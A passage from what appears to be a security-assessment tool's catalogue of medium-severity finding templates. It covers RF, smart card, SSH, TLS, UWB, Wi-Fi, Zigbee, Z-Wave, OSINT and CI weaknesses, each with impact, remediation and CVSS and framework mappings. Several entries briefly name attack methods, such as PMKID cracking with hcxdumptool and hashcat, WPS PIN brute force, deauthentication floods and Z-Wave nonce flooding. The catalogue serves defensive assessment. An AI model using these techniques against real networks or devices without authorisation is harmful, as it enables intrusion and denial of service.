CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T0887 (Collection)
MEDIUM GB-RF-007 — Missing Message Authentication on Sub-GHz Link
Description: No message-integrity or authentication field (MAC/signature) was observed on the device's sub-GHz frames, so their contents cannot be verified as genuine or unmodified.
Impact: Frame contents can be forged, altered, or replayed and the device cannot tell the difference, undermining the trustworthiness of every command and telemetry value on the link.
Remediation: Add per-message authentication (an AEAD tag or digital signature) and reject frames that fail integrity verification.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T0860 (Initial Access)
MEDIUM GB-RF-008 — Sub-GHz Jamming Susceptibility
Description: Under a controlled, operator-observed bench test the device's sub-GHz link was disrupted by narrowband jamming, denying legitimate commands and telemetry.
Impact: Low-power ISM control channels have no inherent jamming resistance, so an attacker can deny the device's RF link (and, via jam-and-capture, harvest rolling codes); if the channel is safety-critical the availability loss may have physical consequences.
Remediation: Add loss-of-link / jamming detection with a defined fail-safe state, use frequency agility or a diverse secondary channel for safety-critical control, and alert on sustained RF interference.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T0814 (Inhibit Response Function)
MEDIUM GB-SC-008 — Cleartext Data Object Readable on Smart Card
Description: Data read from the card without authentication contains cleartext printable strings (asset, holder, or configuration information stored and returned in the clear).
Impact: Sensitive data objects returned in the clear disclose asset/holder/configuration information to anyone who can read the card, aiding cloning, social engineering, or privacy compromise.
Remediation: Store sensitive data objects encrypted or behind a CVM; do not return holder/asset identifiers from unauthenticated files.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: SC-28, MP-4
MEDIUM GB-SC-010 — Insecure GlobalPlatform Card Lifecycle State
Description: The GlobalPlatform card lifecycle state is OP_READY or INITIALIZED rather than SECURED, meaning the card manager was never transitioned to its locked production state.
Impact: A card left in a pre-issuance lifecycle state permits card-content management and key-setup operations that should be closed off once the card is issued, widening the window for applet/key tampering.
Remediation: Transition the card to the SECURED lifecycle state (and lock the card manager) as part of issuance so pre-personalisation management commands are no longer accepted.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
NIST 800-53: CM-6, CM-7
MEDIUM GB-SC-011 — No Secure Messaging — Cleartext APDU Channel
Description: The card returned sensitive file data over a cleartext (plain) APDU channel with no secure messaging (C-MAC/C-ENC) applied.
Impact: A passive USB-CCID or contactless interceptor can capture the command/response exchange verbatim, recovering sensitive data and enabling replay of the observed commands.
Remediation: Mandate GlobalPlatform / ISO-7816 secure messaging (C-MAC + C-ENC) for all commands that carry or return sensitive data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-13
MEDIUM GB-SSH-001 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
MEDIUM GB-SSH-003 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
MEDIUM GB-SSH-004 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
MEDIUM GB-SSH-005 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
MEDIUM GB-SSH-007 — SSH Password-Only Authentication (No Public Key)
Description: The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public key authentication available. This is a significant security weakness — the server cannot accept key-based authentication at all, making brute-force the only barrier to unauthorized access.
Impact: Without public key authentication, the SSH server relies entirely on password strength for security. An attacker can mount online brute-force or credential-stuffing attacks with no cryptographic barrier. This configuration violates CIS Benchmark and DISA STIG requirements for SSH hardening.
Remediation: Enable public key authentication and disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Generate and deploy SSH key pairs for all authorized users.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
MEDIUM GB-TLS-002 — SSL/TLS Certificate: Self-Signed
Description: The server presented a self-signed TLS certificate that is not anchored to a publicly trusted CA, preventing clients from verifying the server's identity and enabling trivial MITM attacks.
Remediation: Replace self-signed certificates with certificates issued by a trusted CA; use ACME/Let's Encrypt for cost-free automation.
MEDIUM GB-TLS-004 — SSL/TLS — Weak Cipher Suite Accepted
Description: The TLS server accepts cipher suites providing less than 128-bit security, null encryption, or anonymous key exchange.
Remediation: Configure the server to accept only AEAD cipher suites with forward secrecy (ECDHE-ECDSA-AES256-GCM-SHA384, TLS_CHACHA20_POLY1305_SHA256, etc.).
MEDIUM GB-TLS-005 — SSL/TLS — CRIME / BEAST / LUCKY13 Vulnerability
Description: The TLS configuration is susceptible to a compression-based oracle (CRIME), cipher-block chaining attack (BEAST), or timing side-channel (LUCKY13). Specific vulnerability depends on testssl.sh output.
Remediation: Disable TLS compression. Migrate to TLS 1.2+ with AES-GCM-only cipher suites. Apply server-side BEAST mitigation (RC4 disabled, prefer AES-GCM).
MEDIUM GB-TLS-007 — SSL/TLS — Weak Certificate Signature Algorithm
Description: The TLS certificate is signed with a deprecated algorithm such as MD5 or SHA-1. These algorithms are vulnerable to collision attacks that could allow certificate forgery.
Remediation: Reissue the certificate using SHA-256 or SHA-384 as the signature algorithm.
MEDIUM GB-TLS-008 — SSL/TLS — Certificate Hostname Mismatch
Description: The Common Name or Subject Alternative Names in the TLS certificate do not match the host being connected to. Clients will receive a certificate warning or reject the connection.
Remediation: Reissue the certificate with the correct Subject Alternative Names matching all DNS names and IP addresses used to access the service.
MEDIUM GB-TLS-009 — SSL/TLS Vulnerability: BEAST
Description: The TLS server accepts TLS 1.0 connections using CBC (Cipher Block Chaining) cipher suites, making it susceptible to the BEAST (Browser Exploit Against SSL/TLS) attack. BEAST exploits a chosen-plaintext vulnerability in the way TLS 1.0 initialises IV values for CBC, allowing an attacker with MITM position and the ability to inject chosen plaintext to perform a blockwise chosen-boundary attack and recover session cookies or other short secrets. While practical exploitation requires both network position and JavaScript injection into the victim's browser, the condition is easily avoided by disabling TLS 1.0.
Remediation: Disable TLS 1.0 and TLS 1.1 on the server; accept only TLS 1.2 and TLS 1.3. Prefer AEAD cipher suites (AES-GCM, ChaCha20-Poly1305) over CBC modes. If TLS 1.0 must remain enabled for legacy clients, configure server-side mitigation by preferring RC4 (deprecated) or — better — use TLS_FALLBACK_SCSV and enforce cipher order.
MEDIUM GB-TLS-010 — SSL/TLS Vulnerability: LUCKY13
Description: The TLS configuration accepts CBC cipher suites that are vulnerable to the LUCKY13 timing side-channel attack. LUCKY13 exploits a timing discrepancy in the MAC verification step of MAC-then-encrypt CBC cipher suites: the number of compression function calls differs based on where padding ends, allowing a statistical timing oracle to decrypt TLS records byte by byte. The attack requires many connections and precise timing measurements but has been demonstrated against real-world TLS stacks including OpenSSL.
Remediation: Migrate to TLS 1.3 or configure TLS 1.2 to use only AEAD cipher suites (AES-128-GCM, AES-256-GCM, CHACHA20-POLY1305), which do not use MAC-then-encrypt and are inherently immune to LUCKY13. Remove all CBC cipher suites from the server's cipher preference list.
MEDIUM GB-TLS-011 — SSL/TLS Vulnerability: SWEET32
Description: The TLS server negotiates cipher suites using 64-bit block ciphers such as 3DES (Triple-DES) or Blowfish, making it vulnerable to the SWEET32 birthday attack. After approximately 2^32 blocks (~32 GB of data over a single TLS session), the birthday bound is reached and an attacker can exploit block collisions in CBC mode to recover plaintext. While 32 GB may seem large, long-lived TLS sessions — such as those in web applications with keep-alive or WebSocket connections — can reach this volume in hours.
Remediation: Disable all 3DES and Blowfish cipher suites from the server configuration. Ensure no cipher suite using DES, 3DES, IDEA, or Blowfish appears in the negotiated cipher list. Prefer 128-bit or 256-bit block ciphers (AES-GCM). Upgrade to TLS 1.3 where possible to eliminate legacy cipher negotiation entirely.
MEDIUM GB-USB-003 — USB Abnormal Power Draw
Description: Abnormal USB power characteristics were detected, potentially indicating a rogue charging cable or peripheral with embedded circuitry.
Remediation: Deploy USB power-only data-blockers on charging ports. Restrict USB host mode to known-good peripherals.
MEDIUM GB-UWB-008 — Cleartext UWB Positioning or Payload Data
Description: Positioning data (measured distance/coordinates) or a MAC-layer payload was observed in the clear in the UWB capture, with no application-layer encryption of the ranging result or asset identifier.
Impact: Cleartext RTLS position data discloses the location of tracked assets (and, in a clinical setting, potentially staff or patients) to any passive UWB listener, defeating location privacy.
Remediation: Encrypt and authenticate the ranging-result and any MAC payload at the application layer; do not broadcast resolved positions or asset identifiers in cleartext.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM GB-UWB-009 — UWB Static or Non-Rotating Ranging Key (STS Reuse)
Description: STS is present but appears to be derived from a static or reused seed/key rather than rotated per ranging session (observable as a repeating STS pattern), or a fixed STS_KEY/STS_IV is shipped in firmware.
Impact: A predictable or repeating STS erodes the integrity guarantee it is meant to provide, moving the system back toward replay and distance-manipulation exposure.
Remediation: Provision a per-session STS from a rotating key (FiRa dynamic STS / per-session key derivation); never ship a fixed STS_KEY/STS_IV in firmware.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
NIST 800-53: SC-12, IA-5
MEDIUM GB-UWB-010 — UWB Ranging Susceptible to Jamming / Denial of Service
Description: Under a co-channel UWB jammer (UWBAD-class attack with COTS chips) the DUT's ranging was denied, confirming a denial-of-service exposure of the ranging link.
Impact: Loss of ranging can drop safety/asset-tracking (RTLS goes blind) or push a UWB access-control system into an unsafe fail state (fail-open or fail-closed).
Remediation: Define a safe fail state on ranging loss, add jam/interference detection and alerting, and avoid using UWB ranging as the sole gate for safety-critical access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NIST 800-53: SC-5, SI-4
MEDIUM GB-UWB-011 — UWB Legacy (Pre-802.15.4z) Ranging — No Secure Ranging Support
Description: The device supports only pre-802.15.4z (802.15.4a HRP) ranging, which has no secure-ranging (STS) capability at all and cannot be made secure by configuration.
Impact: A legacy-only UWB part offers no cryptographic protection for ranging, so any security-relevant proximity/distance use is inherently spoofable and the part must be replaced rather than reconfigured.
Remediation: Replace legacy 802.15.4a-only UWB parts with 802.15.4z STS-capable silicon (e.g. DW3000-class) for access control or safety-critical asset tracking.
Effort: Significant
NIST 800-53: SA-4, SC-13
MEDIUM GB-UWB-012 — UWB Device Trackable via Static Address in Blink Frames
Description: UWB blink/ranging frames broadcast a stable device address (EUI-64 or fixed 16-bit short address) in every transmission, with no privacy-preserving address rotation.
Impact: A tag that emits a fixed address in every blink can be tracked and correlated to the asset (or person) it is attached to by any passive UWB receiver, defeating location privacy for the RTLS deployment.
Remediation: Rotate the tag's transmitted address/identifier (privacy-preserving randomised addressing) and expose the stable identity only under an authenticated session.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-8
MEDIUM GB-VULN-003 — Nessus Medium Vulnerability
Description: Nessus Professional identified a medium severity vulnerability (CVSS 4.0–6.9). May require special conditions to exploit but presents meaningful risk.
Remediation: Schedule remediation within the standard patch cycle.
MEDIUM GB-VULN-009 — Nuclei Template Match — Misconfiguration
Description: Nuclei identified a security misconfiguration (exposed admin panel, default path, misconfigured CORS, insecure HTTP method, etc.).
Remediation: Correct the specific misconfiguration. Harden the service configuration against the ProjectDiscovery misconfiguration template library.
MEDIUM GB-WEB-002 — Directory Listing Enabled
Description: The web server is configured to display a browsable directory index, exposing file structure and potentially sensitive files to unauthenticated users.
Remediation: Disable directory indexing (e.g., Options -Indexes in Apache; autoindex off in nginx) and ensure every directory contains an explicit index document.
MEDIUM GB-WEB-005 — Web — HTTP Exposed (No HTTPS Redirect)
Description: The web application is accessible over plaintext HTTP and does not redirect to HTTPS. Credentials and session tokens transmitted over HTTP are observable to network attackers.
Remediation: Redirect all HTTP traffic to HTTPS. Enable HSTS to prevent downgrade attacks.
MEDIUM GB-WEB-006 — Web — Insecure Cookie Attributes
Description: Session or authentication cookies are missing the Secure, HttpOnly, or SameSite attributes. This exposes them to theft via JavaScript, plaintext transmission, or CSRF.
Remediation: Set Secure, HttpOnly, and SameSite=Strict (or Lax) attributes on all authentication and session cookies.
MEDIUM GB-WIFI-004 — WPA/WPA2-PSK Handshake Capturable
Description: The WPA/WPA2-PSK 4-way EAPOL handshake was captured (passively, or after a bounded deauth), providing a verifiable offline oracle for the pre-shared key.
Impact: The captured handshake can be attacked offline at full GPU speed with dictionaries and rules; a weak, default, or reused passphrase is recovered, granting full access to the wireless network.
Remediation: Use a long (>15 char) random WPA passphrase or migrate to WPA3-SAE, which resists offline handshake cracking; require 802.11w PMF to raise the cost of forcing a re-handshake.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-13, AC-18
PCI DSS 4: 2.2.7, 8.3.6
MEDIUM GB-WIFI-005 — WPA PMKID Capturable (Clientless)
Description: An RSN PMKID was solicited and captured from the AP with a single association request and no connected client (hcxdumptool -> hcxpcapngtool, hashcat mode 22000).
Impact: Because the PMKID is derived from the PMK, the WPA/WPA2-PSK passphrase can be recovered offline without ever capturing a client handshake; a weak or default passphrase is trivially cracked, granting full network access.
Remediation: Use a long random WPA passphrase or migrate to WPA3-SAE (not PMKID-crackable); disable PMKID/OKC caching on the AP where the platform allows.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-13, AC-18
PCI DSS 4: 2.2.7, 8.3.6
MEDIUM GB-WIFI-006 — WPS Enabled
Description: The access point advertises Wi-Fi Protected Setup. The 8-digit registrar PIN is validated in two independently-checkable halves, collapsing the effective keyspace to roughly 11,000 attempts.
Impact: An attacker can brute-force the WPS PIN online (hours) and recover the WPA passphrase regardless of its strength, unless the AP enforces a robust failed-attempt lockout.
Remediation: Disable WPS entirely (external-registrar and PIN methods). If push-button is operationally required, ensure the PIN method is off and an AP-side lockout throttles failed registrar attempts.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-18, IA-2, CM-7
PCI DSS 4: 2.2.7, 8.3.6
MEDIUM GB-WIFI-008 — Missing 802.11w Management Frame Protection
Description: The network does not require 802.11w Management Frame Protection (the MFPR bit is clear in the RSN capabilities), so deauthentication and disassociation frames are unauthenticated.
Impact: An in-range attacker can forge management frames to evict clients on demand (availability loss) and force EAPOL re-handshakes for offline PSK cracking — a reliable DoS and handshake-harvesting primitive against a wireless-dependent device.
Remediation: Set Protected Management Frames to 'required' (802.11w MFPR) on the AP and device; WPA3-SAE mandates PMF. Where clients cannot support it, at minimum enable PMF-capable and prioritise a WPA3 migration.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-5, AC-18, SC-8
PCI DSS 4: 2.2.7
MEDIUM GB-WIFI-009 — WPA3 Transition Mode Downgrade
Description: The AP advertises WPA3 in transition (mixed) mode, offering both SAE (WPA3) and PSK (WPA2) AKM suites on the same SSID.
Impact: A rogue AP advertising only WPA2-PSK forces a supplicant to fall back to the crackable WPA2 4-way handshake (Dragonblood transition-mode downgrade); the SAE upgrade provides no protection while WPA2 fallback is accepted.
Remediation: Move to WPA3-only (SAE) mode with PMF required once all clients support it; disable the WPA2 transition fallback for sensitive networks so a downgraded handshake cannot be solicited.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-13, AC-18, SC-8
PCI DSS 4: 2.2.7, 4.2.1
MEDIUM GB-WIFI-011 — Wi-Fi Deauthentication Denial of Service
Description: A bounded burst of forged deauthentication/disassociation frames disconnected the device under test from its network, confirming that unauthenticated management frames are honoured (no 802.11w PMF required).
Impact: Any in-range attacker can persistently deny the wireless-dependent device network connectivity by spoofing management frames — a serious availability risk for a medical or clinical device that relies on wireless data or control.
Remediation: Enable 802.11w Protected Management Frames as REQUIRED (mandatory under WPA3-SAE) so forged deauth/disassoc frames are rejected; add wired or failover connectivity for safety-critical functions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-5, AC-18
PCI DSS 4: 2.2.7
MEDIUM GB-ZIGBEE-002 — Zigbee Flooding / Denial of Service
Description: The Zigbee network showed signs of packet flooding tolerance (or lack thereof). Injection of excessive frames caused degraded responsiveness.
Remediation: Implement rate-limiting on Zigbee join and message handling. Apply Zigbee channel scanning and jamming detection.
MEDIUM GB-ZW-004 — Z-Wave S0 Legacy Security Class in Use
Description: The network uses the legacy S0 Security command class (CC 0x98), which relies on AES-OFB/CBC-MAC with a network key exchanged at inclusion under a hardcoded all-zero temporary key and lacks S2's anti-replay and forward-secrecy protections.
Impact: An attacker who captures a device inclusion recovers the S0 network key and can decrypt and forge all S0 traffic; S0 also permits replay that S2 would reject.
Remediation: Migrate all nodes to S2; retire S0-only devices. If S0 is unavoidable, perform inclusion inside a shielded enclosure so the key exchange cannot be sniffed.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1600 (Defense Evasion)
NIST 800-53: SC-13, SC-12
PCI DSS 4: 4.2.1
MEDIUM GB-ZW-009 — Z-Wave S0 NonceGet Denial-of-Service Exposure
Description: The Z-Wave gateway accepts unauthenticated S0 NonceGet requests, allowing an attacker to flood NonceGet frames (the 'S0-No-More' attack) and exhaust the gateway's nonce state so legitimate S0 encryption is blocked.
Impact: A denial-of-service that halts the whole S0 mesh — including safety-relevant devices such as locks and sensors — requiring only RF range and a valid included NodeID.
Remediation: Migrate off S0 to S2; rate-limit NonceGet handling; drop NonceGet requests from NodeIDs that are not actively transacting.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-5
MEDIUM IS-002 — Encrypted file detected
Description: A file exhibits very high Shannon entropy (>7.99 out of 8.0), strongly indicating encryption. The encryption method is estimated based on file structure patterns (block size alignment, magic bytes).
Impact: Encrypted files may indicate data exfiltration preparation (encrypted archives for staging stolen data), ransomware activity, or the presence of encrypted command-and-control communications. If unexpected, this warrants investigation into the file's purpose and origin.
Remediation: Determine whether encryption is expected for this file. If not, investigate the file's origin and purpose. Check for ransomware indicators. Attempt to identify the encryption algorithm and key management approach.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1027 (Defense Evasion), T1486 (Impact)
NIST 800-53: SC-13, SC-28
PCI DSS 4: 3.5.1
MEDIUM IS-005 — Packed/obfuscated executable detected ({packers})
Description: An executable file contains signatures of known packers (UPX, Themida, ASPack, PECompact, Petite, NsPack, MEW, MPRESS). Packing is a technique used to compress or obfuscate executable code, commonly employed by malware to evade antivirus detection.
Impact: While some legitimate software uses packing for size reduction or intellectual property protection, packed executables are a strong indicator of malware attempting to evade signature-based detection. The presence of packing increases the difficulty of static analysis and may indicate active evasion of security controls.
Remediation: Unpack the executable and analyse the underlying binary. Determine if packing is legitimate (software protection) or suspicious. Submit to malware analysis sandbox for dynamic analysis. Block execution pending investigation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1027.002 (Defense Evasion), T1045 (Defense Evasion)
NIST 800-53: SI-3
PCI DSS 4: 5.2.1
MEDIUM OSIFT-003 — Open Port Identified on Subdomain
Description: A non-standard or sensitive port (e.g., 8080, 8443, 9200, 27017, 3306) was found open on a subdomain via naabu port scanning or Shodan. Exposes additional attack surface.
Impact: Open ports on subdomains expose services that may not receive the same security attention as the primary domain. These services often have default configurations, weak credentials, or unpatched vulnerabilities.
Remediation: Restrict open ports to those strictly required. Apply firewall rules to limit access to sensitive ports (databases, admin panels) by source IP.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MEDIUM OSIFT-006 — SSL/TLS Certificate Misconfiguration
Description: A certificate was found with a misconfiguration: hostname mismatch, self-signed cert on a public host, wildcard overuse, or weak signing algorithm (MD5/SHA-1).
Remediation: Replace self-signed or mis-issued certificates with certificates from a trusted CA. Use SHA-256 or stronger signing algorithms.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MEDIUM OSIFT-007 — DNS Misconfiguration
Description: A DNS record anomaly was detected: dangling CNAME, multiple conflicting A records, DNSSEC misconfiguration, or inconsistent NS delegation that could be exploited.
Impact: DNS misconfigurations can enable domain takeover, cache poisoning, or unauthorized zone transfers. An attacker exploiting these weaknesses can redirect traffic, intercept email, or impersonate the organization's services.
Remediation: Audit DNS records for the affected domain. Remove stale or dangling records. Ensure DNSSEC is correctly signed and validated.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.3.3
MEDIUM OSIFT-008 — SPF Record Missing
Description: No SPF (Sender Policy Framework) TXT record was found for the target domain. Without SPF, attackers can spoof email from this domain and bypass basic spam filters.
Remediation: Add an SPF TXT record to the domain's DNS: e.g., v=spf1 include:_spf.google.com ~all. Consult your mail provider's documentation.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
MEDIUM OSIFT-009 — DMARC Record Missing
Description: No DMARC (_dmarc.<domain> TXT) record was found. Without DMARC, there is no policy instructing receiving mail servers how to handle unauthenticated email from this domain.
Remediation: Add a DMARC record starting with p=quarantine or p=reject. Example: v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
MEDIUM OSIFT-020 — Wayback Machine URL with Sensitive Path
Description: waybackurls or xurlfind3r discovered a historical URL containing a sensitive path (e.g., /admin, /backup, /.env, /config, /api/v1/keys) that was once publicly accessible.
Remediation: Verify whether the resource still exists. Remove sensitive files from public-facing web roots. Review server access logs for recent access to these paths.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
MEDIUM OSIFT-021 — Shodan Exposure — Open Service
Description: Shodan reports an open service on a target IP that is visible to the public internet. Banner data, software version, and service type are indexed and searchable by anyone.
Impact: Shodan-indexed services are visible to any internet user and often reveal version strings, default pages, and configuration details. Attackers routinely search Shodan for exposed services matching known vulnerable versions.
Remediation: Restrict access to services that do not need to be publicly reachable. Apply firewall rules. Update exposed services to current versions.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MEDIUM OSIFT-032 — Uncover / Internet-Wide Scan Engine Match
Description: The uncover tool found the target in internet-wide scan engine results (Shodan, Censys, FOFA, Quake360, ZoomEye, CriminalIP). Services and their versions are publicly catalogued.
Remediation: Review all indexed services. Remove unnecessary public exposure. Ensure indexed software versions are patched and up to date.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MEDIUM OSIFT-039 — Information Disclosure: Internal Server Directory Structure
Description: Internal filesystem path components were found exposed in publicly accessible sources, including HTTP response bodies, error messages, stack traces, application comments, or historical Wayback Machine snapshots. Exposed paths such as /var/www/app/releases/20231105/, C:\inetpub\wwwroot\api\, or /home/deploy/app/ reveal the server's operating system, directory layout, deployment tooling, and technology stack. This information assists attackers in crafting targeted local file inclusion, path traversal, or directory brute-force payloads.
Remediation: Configure the web application to display generic error pages rather than stack traces or exception details in production. Suppress server-side path information from HTTP response headers and application output. Review Wayback Machine archives for pages that previously revealed directory structure and ensure those resources are no longer publicly accessible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
MEDIUM OSIFT-042 — SSL/TLS Certificate: Self-Signed
Description: A self-signed TLS certificate was identified on a publicly reachable host associated with the target organisation. Self-signed certificates are not anchored to a trusted certificate authority (CA), meaning standard clients — browsers, API consumers, mobile apps — cannot cryptographically verify the server's identity. This condition enables trivial man-in-the-middle attacks: an attacker presenting their own self-signed certificate will produce an identical trust error to the legitimate server, making MITM transparent to users already conditioned to accept the warning.
Impact: Self-signed certificates are not validated by any trusted certificate authority, meaning clients cannot verify the server's identity. An attacker can trivially generate their own self-signed certificate and perform man-in-the-middle attacks without detection.
Remediation: Replace the self-signed certificate with one issued by a publicly trusted CA. For internet-facing services, use Let's Encrypt via ACME automation (certbot, acme.sh, or Caddy) for zero-cost, automatically renewing certificates. For internal services, establish an internal CA with proper trust distribution rather than using ad-hoc self-signed certificates.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MEDIUM OSIFT-046 — Typosquatting Domain Detected
Description: One or more domains visually or typographically similar to the target domain were detected with active DNS resolution, indicating potential typosquatting infrastructure.
Impact: Typosquatting domains that resolve to active infrastructure can be used for phishing, credential harvesting, or malware distribution targeting the organization's users and customers. An attacker registers domains visually similar to the legitimate domain to intercept mistyped URLs or craft convincing phishing campaigns.
Remediation: Monitor for typosquatting domains using automated tools (dnstwist). Consider registering common misspellings of the domain proactively. Implement DMARC to prevent spoofed emails from look-alike domains. Establish a domain takedown process with registrars.
Effort: Moderate
MITRE ATT&CK: T1583.001 (Resource Development)
MEDIUM OSIFT-056 — GitHub Actions: Overly Permissive Permissions
Description: gato identified a GitHub Actions workflow with overly permissive GITHUB_TOKEN permissions (such as write-all, admin, or contents: write). Workflows should follow the principle of least privilege and request only the minimum permissions required for their function.
Impact: Overly permissive workflow tokens increase the blast radius if the workflow is compromised. A write-all token can modify repository contents, create releases, manage issues/PRs, push to protected branches, and modify repository settings. If combined with a workflow injection, an attacker gains full repository control.
Remediation: Apply least-privilege permissions to all workflows. Use the permissions: key at the workflow or job level to request only required scopes (e.g., contents: read, issues: write). Avoid write-all or admin permissions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
MITRE ATT&CK: T1078.004 (Persistence)
NIST 800-53: AC-6
PCI DSS 4: 7.2.1
MEDIUM OSIFT-057 — GitHub Actions: Self-Hosted Runner Risk
Description: gato identified self-hosted GitHub Actions runners configured on a public repository. Self-hosted runners in public repos are dangerous because any user can submit a pull request that triggers a workflow run on the runner, potentially executing arbitrary code in the organization's infrastructure.
Impact: Self-hosted runners on public repos allow any GitHub user to execute code on the organization's infrastructure by submitting a crafted pull request. This can lead to lateral movement into internal networks, credential theft from the runner environment, persistence via runner modification, and access to other repositories that share the same runner group.
